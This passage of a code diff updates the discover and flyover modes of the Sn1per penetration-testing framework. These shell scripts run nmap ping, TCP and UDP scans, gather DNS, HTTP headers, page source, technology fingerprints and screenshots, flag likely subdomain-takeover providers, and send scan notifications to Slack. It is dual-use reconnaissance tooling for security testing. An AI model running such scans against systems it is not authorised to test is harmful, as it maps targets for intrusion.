/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per brute force: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
else
|
||||
echo -e "$OKORANGE + -- --=[ AUTO_BRUTE setting disabled in sniper.conf... skipping.$RESET"
|
||||
fi
|
||||
|
|
@ -1,10 +1,11 @@
|
|||
# DISCOVER MODE #####################################################################################################
|
||||
if [ "$MODE" = "discover" ]; then
|
||||
if [ "$REPORT" = "1" ]; then
|
||||
if [ ! -z "$WORKSPACE" ]; then
|
||||
if [[ "$MODE" = "discover" ]]; then
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
WORKSPACE="$(echo $WORKSPACE | tr / -)"
|
||||
args="$args -w $WORKSPACE"
|
||||
LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $LOOT_DIR 2> /dev/null
|
||||
mkdir $LOOT_DIR/ips 2> /dev/null
|
||||
mkdir $LOOT_DIR/screenshots 2> /dev/null
|
||||
|
|
@ -14,14 +15,19 @@ if [ "$MODE" = "discover" ]; then
|
|||
mkdir $LOOT_DIR/output 2> /dev/null
|
||||
mkdir $LOOT_DIR/scans 2> /dev/null
|
||||
fi
|
||||
OUT_FILE=$(echo "$TARGET" | tr / -)
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$OUTFILE-$MODE.txt 2> /dev/null
|
||||
sniper -t $TARGET -m $MODE --noreport $args | tee $LOOT_DIR/output/sniper-$MODE-`date +%Y%m%d%H%M`.txt 2>&1
|
||||
OUT_FILE="$(echo $TARGET | tr / -)"
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$OUT_FILE-$MODE.txt 2> /dev/null
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper -t $TARGET -m $MODE --noreport $args | tee $LOOT_DIR/output/sniper-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
exit
|
||||
fi
|
||||
echo -e "$OKRED ____ /\\"
|
||||
echo -e "$OKRED Sn1per by @xer0dayz @XeroSecurity \ \\"
|
||||
echo -e "$OKRED https://xerosecurity.com \ \\"
|
||||
echo -e "$OKRED Sn1per by @xer0dayz @Sn1perSecurity \ \\"
|
||||
echo -e "$OKRED https://sn1persecurity.com \ \\"
|
||||
echo -e "$OKRED ___ / \\"
|
||||
echo -e "$OKRED \ \\"
|
||||
echo -e "$OKRED === > [ \\"
|
||||
|
|
@ -34,31 +40,39 @@ if [ "$MODE" = "discover" ]; then
|
|||
echo -e "$OKRED ____ / /"
|
||||
echo -e "$OKRED \/$RESET"
|
||||
echo ""
|
||||
OUT_FILE=$(echo "$TARGET" | tr / -)
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
OUT_FILE=$(echo $TARGET | tr / -)
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PING DISCOVERY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
nmap -sP $TARGET | tee $LOOT_DIR/ips/sniper-$OUT_FILE-ping.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap -n -sP $TARGET | tee $LOOT_DIR/ips/sniper-$OUT_FILE-ping.txt
|
||||
cat $LOOT_DIR/ips/sniper-$OUT_FILE-ping.txt 2> /dev/null | grep "scan report" | awk '{print $5}' > $LOOT_DIR/ips/sniper-$OUT_FILE-ping-sorted.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING TCP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
#nmap -T4 -v -sC -sA -sV -F $TARGET 2>/dev/null | tee $LOOT_DIR/ips/sniper-$OUT_FILE-tcp.txt 2>/dev/null
|
||||
nmap -T4 -v -p $QUICK_PORTS -sS $TARGET 2> /dev/null | tee $LOOT_DIR/ips/sniper-$OUT_FILE-tcp.txt 2>/dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap -n -v -p $QUICK_PORTS $NMAP_OPTIONS -sS $TARGET -Pn 2> /dev/null | grep "open port" | tee $LOOT_DIR/ips/sniper-$OUT_FILE-tcp.txt 2>/dev/null
|
||||
cat $LOOT_DIR/ips/sniper-$OUT_FILE-tcp.txt | grep open | grep on | awk '{print $6}' > $LOOT_DIR/ips/sniper-$OUT_FILE-tcpips.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING UDP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap -n -v -p $DEFAULT_UDP_PORTS $NMAP_OPTIONS -sU -Pn $TARGET 2> /dev/null | grep "open port" | tee $LOOT_DIR/ips/sniper-$OUT_FILE-udp.txt 2>/dev/null
|
||||
cat $LOOT_DIR/ips/sniper-$OUT_FILE-udp.txt | grep open | grep on | awk '{print $6}' > $LOOT_DIR/ips/sniper-$OUT_FILE-udpips.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CURRENT TARGETS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
cat $LOOT_DIR/ips/sniper-$OUT_FILE-ping-sorted.txt $LOOT_DIR/ips/sniper-$OUT_FILE-tcpips.txt 2> /dev/null > $LOOT_DIR/ips/sniper-$OUT_FILE-ips-unsorted.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/ips/sniper-$OUT_FILE-ping-sorted.txt $LOOT_DIR/ips/sniper-$OUT_FILE-tcpips.txt $LOOT_DIR/ips/sniper-$OUT_FILE-udpips.txt 2> /dev/null > $LOOT_DIR/ips/sniper-$OUT_FILE-ips-unsorted.txt
|
||||
sort -u $LOOT_DIR/ips/sniper-$OUT_FILE-ips-unsorted.txt > $LOOT_DIR/ips/discover-$OUT_FILE-sorted.txt
|
||||
cat $LOOT_DIR/ips/discover-$OUT_FILE-sorted.txt
|
||||
echo ""
|
||||
echo -e "$OKRED[+]$RESET Target list saved to $LOOT_DIR/ips/discover-$OUT_FILE-sorted.txt "
|
||||
echo -e "$OKRED[i] To scan all IP's, use sniper -f $LOOT_DIR/ips/discover-$OUT_FILE-sorted.txt -m flyover -w $WORKSPACE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
source $INSTALL_DIR/modes/sc0pe.sh
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SCAN COMPLETE! $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
#loot
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper -f $LOOT_DIR/ips/discover-$OUT_FILE-sorted.txt -m flyover -w $WORKSPACE
|
||||
exit
|
||||
fi
|
||||
214
modes/flyover.sh
214
modes/flyover.sh
|
|
@ -1,16 +1,16 @@
|
|||
# FLYOVER MODE ######################################################################################################
|
||||
if [ "$MODE" = "flyover" ]; then
|
||||
if [ -z "$FILE" ]; then
|
||||
if [[ "$MODE" = "flyover" ]]; then
|
||||
if [[ -z "$FILE" ]]; then
|
||||
logo
|
||||
echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
|
||||
exit
|
||||
fi
|
||||
|
||||
if [ "$REPORT" = "1" ]; then
|
||||
if [ ! -z "$WORKSPACE" ]; then
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $WORKSPACE_DIR 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/domains 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
|
||||
|
|
@ -20,9 +20,7 @@ if [ "$MODE" = "flyover" ]; then
|
|||
mkdir $WORKSPACE_DIR/output 2> /dev/null
|
||||
fi
|
||||
|
||||
args="$args -m flyover --noreport --noloot"
|
||||
TARGET="$a"
|
||||
args="$args -f $FILE"
|
||||
args="$args -f $FILE -m flyover --noreport --noloot"
|
||||
echo -e "$OKRED "
|
||||
echo -e "$OKRED . . "
|
||||
echo -e "$OKRED // "'\\\\ '
|
||||
|
|
@ -37,91 +35,131 @@ if [ "$MODE" = "flyover" ]; then
|
|||
echo -e "$OKRED UUU UUU UUU "
|
||||
echo -e "$OKRED "
|
||||
echo -e "$RESET"
|
||||
|
||||
if [ ! -z "$WORKSPACE_DIR" ]; then
|
||||
echo "sniper -f $FILE -m $MODE --noreport $args" >> $LOOT_DIR/scans/$WORKSPACE-$MODE.txt
|
||||
sniper $args | tee $WORKSPACE_DIR/output/sniper-$WORKSPACE-$MODE-`date +%Y%m%d%H%M`.txt 2>&1
|
||||
else
|
||||
echo "sniper -f $FILE -m $MODE --noreport $args" >> $LOOT_DIR/scans/$WORKSPACE-$MODE.txt
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$WORKSPACE-$MODE-`date +%Y%m%d%H%M`.txt 2>&1
|
||||
echo "sniper -f $FILE -m $MODE --noreport $args" >> $LOOT_DIR/scans/$WORKSPACE-$MODE.txt
|
||||
sniper $args | tee $WORKSPACE_DIR/output/sniper-$WORKSPACE-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
echo "$FILE $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -f $FILE -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${WORKSPACE}_${MODE}.txt
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $FILE [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $FILE [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
|
||||
args=""
|
||||
fi
|
||||
cp $LOOT_DIR/nmap/livehosts-sorted.txt $LOOT_DIR/nmap/livehosts-sorted.old 2> /dev/null
|
||||
i=1
|
||||
|
||||
i=1
|
||||
for HOST in `sort -u $FILE`; do
|
||||
TARGET="$HOST"
|
||||
|
||||
touch $LOOT_DIR/scans/$TARGET-$MODE.txt 2> /dev/null
|
||||
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
|
||||
echo -e "$OKRED=====================================================================================$RESET"
|
||||
echo -e "${OKBLUE}HOST:$RESET $TARGET"
|
||||
|
||||
dig all +short $TARGET 2> /dev/null > $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null &
|
||||
dig all +short -x $TARGET 2> /dev/null >> $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null &
|
||||
dig A +short $TARGET 2> /dev/null >> $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null &
|
||||
|
||||
wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' 2> /dev/null > $LOOT_DIR/web/title-https-$TARGET.txt & 2> /dev/null
|
||||
wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' 2> /dev/null > $LOOT_DIR/web/title-https-$TARGET.txt & 2> /dev/null
|
||||
|
||||
curl --connect-timeout 3 -I -s -R http://$TARGET 2> /dev/null > $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null &
|
||||
curl --connect-timeout 3 -I -s -R https://$TARGET 2> /dev/null > $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null &
|
||||
|
||||
webtech -u http://$TARGET 2> /dev/null | grep \- 2> /dev/null | cut -d- -f2- 2> /dev/null > $LOOT_DIR/web/webtech-$TARGET-http.txt 2> /dev/null &
|
||||
webtech -u https://$TARGET 2> /dev/null | grep \- 2> /dev/null | cut -d- -f2- 2> /dev/null > $LOOT_DIR/web/webtech-$TARGET-https.txt 2> /dev/null &
|
||||
|
||||
nmap -sS -T5 --open -Pn -p $QUICK_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null &
|
||||
|
||||
cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" 2>/dev/null | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null & 2> /dev/null
|
||||
|
||||
if [ ${DISTRO} == "blackarch" ]; then
|
||||
/bin/CutyCapt --url=http://$TARGET:80 --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null &
|
||||
/bin/CutyCapt --url=https://$TARGET:443 --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null &
|
||||
else
|
||||
cutycapt --url=http://$TARGET:80 --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null > /dev/null &
|
||||
cutycapt --url=https://$TARGET:443 --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null > /dev/null &
|
||||
fi
|
||||
|
||||
echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]${RESET} Collecting DNS, ports, HTTP info and screenshots in background.${RESET}"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]${RESET} All collected info will be saved to ${OKRED}${LOOT_DIR}${RESET}"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]${RESET} FLYOVER_MAX_HOSTS=$FLYOVER_MAX_HOSTS ${RESET}"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]${RESET} FLYOVER_DELAY=$FLYOVER_DELAY ${RESET}"
|
||||
|
||||
i=$((i+1))
|
||||
if [ "$i" -gt "20" ]; then
|
||||
i=0
|
||||
sleep 2
|
||||
fi
|
||||
done
|
||||
|
||||
sort -u $LOOT_DIR/domains/targets.txt 2>/dev/null >> $LOOT_DIR/domains/domains-all-sorted.txt
|
||||
sort -u LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null > $LOOT_DIR/ips/ips-all-sorted.txt 2> /dev/null
|
||||
sleep 20
|
||||
rm -f $INSTALL_DIR/wget-log* 2> /dev/null
|
||||
echo -e "$OKRED=====================================================================================$RESET"
|
||||
|
||||
if [ "$LOOT" = "1" ]; then
|
||||
loot
|
||||
exit
|
||||
else
|
||||
for HOST in `sort -u $LOOT_DIR/domains/domains-all-sorted.txt $LOOT_DIR/domains/targets-all-sorted.txt 2> /dev/null`; do
|
||||
for HOST in `cat $FILE`; do
|
||||
TARGET="$HOST"
|
||||
echo -e "$OKRED=====================================================================================$RESET"
|
||||
echo -e "${OKBLUE}HOST:$RESET $TARGET"
|
||||
echo -e "${OKBLUE}DNS:$RESET `cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null`"
|
||||
echo -e "${OKBLUE}TAKEOVERS:$RESET ${OKRED}" && cat $LOOT_DIR/nmap/takeovers-$TARGET.txt 2> /dev/null
|
||||
echo -en "${OKBLUE}TITLE:$RESET ${OKORANGE}" && cat $LOOT_DIR/web/title-htt*-$TARGET.txt 2> /dev/null
|
||||
echo "-"
|
||||
echo -e "${OKBLUE}HEADERS:$RESET"
|
||||
cat $LOOT_DIR/web/headers-htt*-$TARGET.txt 2> /dev/null
|
||||
echo -en "${OKBLUE}PORTS:$RESET "
|
||||
for PORT in `cat $LOOT_DIR/nmap/nmap-$TARGET.xml 2>/dev/null | egrep 'state="open"' | cut -d' ' -f3 | cut -d\" -f2`; do
|
||||
echo -n "$PORT "
|
||||
done
|
||||
echo ""
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
touch $LOOT_DIR/scans/$TARGET-$MODE.txt 2> /dev/null
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
|
||||
echo "sniper -t $TARGET -m $MODE $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKBLUE[*]$RESET SCANNING:$RESET $OKBLUE[$RESET${OKGREEN}${TARGET}${RESET}$OKBLUE]$RESET"
|
||||
dig all +short $TARGET 2> /dev/null > $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null &
|
||||
dig all +short -x $TARGET 2> /dev/null >> $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null &
|
||||
wget -qO- -T 1 --connect-timeout=5 --read-timeout=5 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' 2> /dev/null > $LOOT_DIR/web/title-http-$TARGET.txt & 2> /dev/null
|
||||
wget -qO- -T 1 --connect-timeout=5 --read-timeout=5 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' 2> /dev/null > $LOOT_DIR/web/title-https-$TARGET.txt & 2> /dev/null
|
||||
curl --connect-timeout 5 -I -s -R --insecure http://$TARGET 2> /dev/null > $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null &
|
||||
curl --connect-timeout 5 -I -s -R --insecure https://$TARGET 2> /dev/null > $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null &
|
||||
curl --connect-timeout 5 -s -R -L --insecure http://$TARGET > $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null &
|
||||
curl --connect-timeout 5 -s -R -L --insecure https://$TARGET > $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null &
|
||||
webtech -u http://$TARGET 2> /dev/null | grep \- 2> /dev/null | cut -d- -f2- 2> /dev/null > $LOOT_DIR/web/webtech-$TARGET-http.txt 2> /dev/null &
|
||||
webtech -u https://$TARGET 2> /dev/null | grep \- 2> /dev/null | cut -d- -f2- 2> /dev/null > $LOOT_DIR/web/webtech-$TARGET-https.txt 2> /dev/null &
|
||||
mv -f $LOOT_DIR/nmap/ports-$TARGET.txt $LOOT_DIR/nmap/ports-$TARGET.old 2> /dev/null
|
||||
nmap -sS -p $QUICK_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml 2> /dev/null > $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null &
|
||||
WEBHOST=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null | egrep "80|443" | grep open | wc -l 2> /dev/null)
|
||||
if [[ "$WEBHOST" -gt "0" ]]; then
|
||||
echo "$TARGET" >> $LOOT_DIR/web/webhosts-unsorted.txt 2> /dev/null
|
||||
fi
|
||||
cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i "anima|bitly|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" 2>/dev/null | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null & 2> /dev/null
|
||||
if [[ $CUTYCAPT = "1" ]]; then
|
||||
if [[ $DISTRO == "blackarch" ]]; then
|
||||
/bin/CutyCapt --url=http://$TARGET:80 --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null &
|
||||
/bin/CutyCapt --url=https://$TARGET:443 --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null &
|
||||
else
|
||||
cutycapt --url=http://$TARGET:80 --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null > /dev/null &
|
||||
cutycapt --url=https://$TARGET:443 --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null > /dev/null &
|
||||
fi
|
||||
fi
|
||||
if [[ $WEBSCREENSHOT = "1" ]]; then
|
||||
cd $LOOT_DIR
|
||||
python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium http://$TARGET:80 2> /dev/null > /dev/null &
|
||||
python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium https://$TARGET:443 2> /dev/null > /dev/null &
|
||||
fi
|
||||
echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
|
||||
done
|
||||
fi
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets-all-presorted.txt
|
||||
rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt 2> /dev/null
|
||||
RUNNING_TASKS=$(wc -l $LOOT_DIR/scans/tasks-running.txt 2> /dev/null)
|
||||
|
||||
sort -u $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null > $LOOT_DIR/ips/ips-all-sorted.txt 2> /dev/null
|
||||
i=$((i+1))
|
||||
if [[ "$i" -gt "$FLYOVER_MAX_HOSTS" ]]; then
|
||||
i=1
|
||||
sleep $FLYOVER_DELAY
|
||||
fi
|
||||
done
|
||||
sleep $FLYOVER_DELAY
|
||||
sort -u LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null > $LOOT_DIR/ips/ips-all-sorted.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/domains/targets-all-presorted.txt 2> /dev/null > $LOOT_DIR/domains/targets-all-sorted.txt
|
||||
rm -f $INSTALL_DIR/wget-log* 2> /dev/null
|
||||
killall webtech 2> /dev/null
|
||||
rm -f $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null
|
||||
for TARGET in `cat $LOOT_DIR/domains/targets-all-sorted.txt`; do
|
||||
HOST_UP=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt 2> /dev/null | grep "host up" 2> /dev/null)
|
||||
if [[ ${#HOST_UP} -ge 2 ]]; then
|
||||
echo "$TARGET" >> $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null
|
||||
fi
|
||||
for PORT in `cat $LOOT_DIR/nmap/nmap-$TARGET.xml $LOOT_DIR/nmap/nmap-$TARGET-*.xml 2>/dev/null | egrep 'state="open"' | cut -d' ' -f3 | cut -d\" -f2 | sort -u | grep '[[:digit:]]'`; do
|
||||
echo "$PORT " >> $LOOT_DIR/nmap/ports-$TARGET.txt
|
||||
done
|
||||
cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2>/dev/null | egrep "MAC Address:" | awk '{print $3 " " $4 " " $5 " " $6}' > $LOOT_DIR/nmap/macaddress-$TARGET.txt 2> /dev/null
|
||||
cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt $LOOT_DIR/output/nmap-$TARGET-*.txt 2>/dev/null | egrep "OS details:|OS guesses:" | cut -d\: -f2 | sed 's/,//g' | head -c50 - > $LOOT_DIR/nmap/osfingerprint-$TARGET.txt 2> /dev/null
|
||||
diff $LOOT_DIR/nmap/ports-$TARGET.old $LOOT_DIR/nmap/ports-$TARGET.txt 2> /dev/null > $LOOT_DIR/nmap/ports-$TARGET.diff 2> /dev/null
|
||||
done
|
||||
sort -u $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null > $LOOT_DIR/nmap/livehosts-sorted.txt 2> /dev/null
|
||||
diff $LOOT_DIR/nmap/livehosts-sorted.old $LOOT_DIR/nmap/livehosts-sorted.txt 2> /dev/null > $LOOT_DIR/nmap/livehosts-sorted.diff 2> /dev/null
|
||||
|
||||
if [[ -s "$LOOT_DIR/nmap/livehosts-sorted.diff" ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Host status change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
cat $LOOT_DIR/nmap/livehosts-sorted.diff | egrep "<|>" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS_NMAP_DIFF" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Host status change detected on $WORKSPACE (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/livehosts-sorted.diff"
|
||||
fi
|
||||
fi
|
||||
|
||||
for a in `cat $LOOT_DIR/domains/targets-all-sorted.txt 2> /dev/null`
|
||||
do
|
||||
diff $LOOT_DIR/nmap/ports-$a.old $LOOT_DIR/nmap/ports-$a.txt 2> /dev/null > $LOOT_DIR/nmap/ports-$a.diff 2> /dev/null
|
||||
if [[ -s "$LOOT_DIR/nmap/ports-$a.diff" ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Port change detected on $a (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
cat $LOOT_DIR/nmap/ports-$a.diff | egrep "<|>" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS_NMAP_DIFF" == "1" ]]; then
|
||||
